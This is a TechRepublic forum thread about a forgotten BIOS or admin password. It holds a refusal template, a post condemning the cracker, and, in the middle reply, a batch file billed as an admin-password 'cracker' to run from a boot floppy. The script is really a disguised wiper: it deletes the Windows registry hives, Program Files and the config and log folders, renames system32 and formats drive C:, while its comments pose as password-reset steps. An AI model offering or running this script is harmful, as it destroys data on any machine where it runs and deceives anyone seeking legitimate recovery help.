TR members do not assist password recovery. Do not respond to this thread

by OH Smeg In reply to Forgotten Password Window ...

The members of TechRepublic - A Resource for IT Professionals, will not assist anyone in the recovery of lost passwords. You may have a legitimate reason to recover a password. However, we cannot verify your motives and will therefore not assist anyone in what may be an attempt at gaining unauthorized access to a computer system. Due to the open nature of this forum, any assistance given to help circumvent security measures, even for legitimate purposes, would be available for unscrupulous individuals to use for illegitimate purposes. This is a risk that we the members of TechRepublic will not take. Please do not ask questions of this nature on TechRepublic.

If you have a legitimate need to circumvent a password scheme, please contact the vendor for the software / hardware and request their assistance. E.g. Windows XP password recovery issues should be taken up with Microsoft's technical support, Phoenix BIOS password recovery issues should be taken up with Phoenix Technologies, etc.. To those viewing this post: Please DO NOT respond any further to this thread.

This template has been released under the GNU public license and you are encouraged to use it as a standard reply for questions of similar nature, provided that you make any modifications available to other users.

So under these conditions all I can say is that as this is a BIOS Password involved here contact the hardware Maker HP in this case for a Fix to your Problem.

Ok, so you wanna be a cracker. This is cracking 101. Just remember that NEVER TRY THIS, as it is illegal. Ok, for starters let me just say that this is tricky. No actual danger though, but you really should practice it on your own system before attempting to try it on anyone elses. You should at minimum try it 5 or 6 times to really get to know how to do it well.

Items needed

Ability to create a batch file
floppy disk
USB floppy disk drive
create a boot floppy with NTFS Write permissions

Ok, once you have gathered the materials you should already have a boot floppy ready. In the autoexec.bat file add the line suser.bat at the end.

On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below

cls
rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
rem ACTIVATE_MEMORY_FLOOD_0x0000323A
rem DISABLE_LOGFILES
format c /Q /A:4096
rem RESTART _admin.pwd


Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.

Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.
Sometimes people really lock down the admin account, but this program is smart enough to unlock from both 'hidden' places, to allow a 'no password' option and blank it out, a double whammy!!!

Remember, this is a REAL program that can get you into serious trouble. Also, it is 'time sensitive' when dealing with another persons system without them knowing. Always get to know a program with this much power BEFORE attempting to use it on someone elses machine.

And most of all, never actually use it. I posted it as informative material. USE AT YOUR OWN RISK!!!
And, never ever tell anyone that I gave this to you....

How dare you post this here

by OH Smeg In reply to PW Recovery

Not only is it Unprofessional but it's also helping Criminals to break into Computer Systems. You should be ashamed of yourself for doing this and showing people how to Crack things.

I have no choice but to report you to the Authorities for this Appalling Action.
